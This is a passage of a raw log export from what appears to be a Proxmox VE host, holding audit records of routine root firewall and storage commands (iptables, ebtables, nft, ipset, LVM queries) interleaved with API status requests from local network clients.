success=yes exit=0 a0=5b6175f1aac8 a1=7ffe26897960 a2=5b61ab23a680 a3=5b6175efe24e items=2 ppid=62716 pid=62718 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.085:61663): arch=c000003e syscall=59 success=yes exit=0 a0=5fc11a8a0ac8 a1=7ffef68dd180 a2=5fc13d52d680 a3=5fc11a88424e items=2 ppid=59189 pid=59191 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675815,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.815:66637): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966239730,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:18 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964064546,"@rawstring":"node=pve type=EXECVE msg=audit(1781964064.546:59424): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965365636,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.636:65294): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe26897920 a1=5b61ab25c410 a2=5b61ab23a680 a3=5 items=2 ppid=62716 pid=62717 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586084,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.084:61662): arch=c000003e syscall=59 success=yes exit=0 a0=7ffef68dd140 a1=5fc13d534310 a2=5fc13d52d680 a3=5 items=2 ppid=59189 pid=59190 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675815,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.815:66636): argc=1 a0=\"date\""} {"@timestamp":1781966239730,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 462"} {"@timestamp":1781964062798,"@rawstring":"node=pve type=EXECVE msg=audit(1781964062.798:59423): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965365631,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.631:65292): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62716 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586080,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.080:61660): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59189 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675808,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.808:66634): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966239730,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:18 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964062790,"@rawstring":"node=pve type=EXECVE msg=audit(1781964062.790:59420): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965365621,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.621:65291): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62715 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586074,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.074:61659): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59188 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675799,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.799:66633): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966238721,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964057783,"@rawstring":"node=pve type=EXECVE msg=audit(1781964057.783:59417): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965365611,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.611:65290): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62714 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586068,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.068:61658): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59187 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675789,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.789:66632): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966238721,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1137"} {"@timestamp":1781964057771,"@rawstring":"node=pve type=EXECVE msg=audit(1781964057.771:59414): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965365605,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.605:65289): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada5c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62713 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586062,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.062:61657): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675780,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.780:66631): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966237747,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964055542,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.542:59411): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965365597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.597:65288): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1477a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62712 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586056,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.056:61656): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675770,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.770:66630): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966237747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:16 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964055538,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.538:59410): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965365583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.583:65287): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f85e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62711 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586052,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.052:61655): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=653206e0d740 items=0 ppid=1156 pid=59184 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965675762,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.762:66628): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966235789,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964055536,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.536:59409): argc=1 a0=\"date\""} {"@timestamp":1781965364531,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965364.531:65286): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d26f7120 a1=64f8d5936170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62708 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586051,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.051:61654): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13ffa0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59184 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675755,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.755:66627): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966235789,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964055532,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.532:59407): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965364482,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965364.482:65285): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73adbb0 a1=64f8d6857380 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62707 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586046,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.046:61653): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f1120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675749,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.749:66626): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966235789,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:14 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964055526,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.526:59406): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965362745,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965362.745:65284): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789956830 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62706 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586041,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.041:61652): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc140520 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59182 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675740,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.740:66625): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966234795,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781964055520,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.520:59405): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965362737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965362.737:65281): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789956770 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62705 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.036:61651): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14b1d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59181 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675733,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.733:66624): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966234795,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964055513,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.513:59404): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965360394,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965360.394:65278): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72545a0 a1=637ee7242e00 a2=637ee7240ef0 a3=8 items=2 ppid=62701 pid=62703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586031,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.031:61650): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140520 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59180 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675723,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.723:66623): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966234795,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1125"} {"@timestamp":1781964055507,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.507:59403): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965360392,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965360.392:65277): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253400 a1=637ee7251390 a2=637ee7240ef0 a3=8 items=2 ppid=62701 pid=62702 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586026,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.026:61649): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60d7710 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59179 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675716,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.716:66622): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966233783,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:12 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964055501,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.501:59401): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965360392,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965360.392:65276): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252a00 a1=637ee72562d0 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=62700 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586020,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.020:61648): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59178 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675705,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.705:66621): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966231745,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781964055496,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.496:59400): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965357729,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965357.729:65274): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899566b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62698 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586014,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.014:61647): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59177 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675699,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.699:66620): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966231745,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964055491,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.491:59399): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965357720,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965357.720:65271): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899565f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62697 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586010,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.010:61646): arch=c000003e syscall=59 success=yes exit=0 a0=57c914d25e90 a1=57c914d22c10 a2=57c914d04680 a3=5 items=2 ppid=59170 pid=59176 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675695,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.695:66619): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966231745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:10 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964055484,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.484:59398): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965355572,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.572:65268): arch=c000003e syscall=59 success=yes exit=0 a0=5e99016cbb60 a1=5e99016d7a30 a2=5e99016a5680 a3=5 items=2 ppid=62690 pid=62696 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586007,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.007:61645): arch=c000003e syscall=59 success=yes exit=0 a0=57c8da1b1ac8 a1=7ffc46193bd0 a2=57c914d04680 a3=57c8da19524e items=2 ppid=59170 pid=59172 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675691,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.691:66618): argc=1 a0=\"date\""} {"@timestamp":1781966231745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781964055479,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.479:59397): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965355567,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.567:65267): arch=c000003e syscall=59 success=yes exit=0 a0=5e98c4999ac8 a1=7ffc4044add0 a2=5e99016a5680 a3=5e98c497d24e items=2 ppid=62690 pid=62692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586006,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.006:61644): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc46193b90 a1=57c914d0b310 a2=57c914d04680 a3=5 items=2 ppid=59170 pid=59171 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675686,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.686:66616): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966231745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:10 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964055474,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.474:59396): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965355566,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.566:65266): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc4044ad90 a1=5e99016c7200 a2=5e99016a5680 a3=5 items=2 ppid=62690 pid=62691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964586001,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964586.001:61642): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59170 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675673,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.673:66615): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966230745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:09 +0100] \"GET 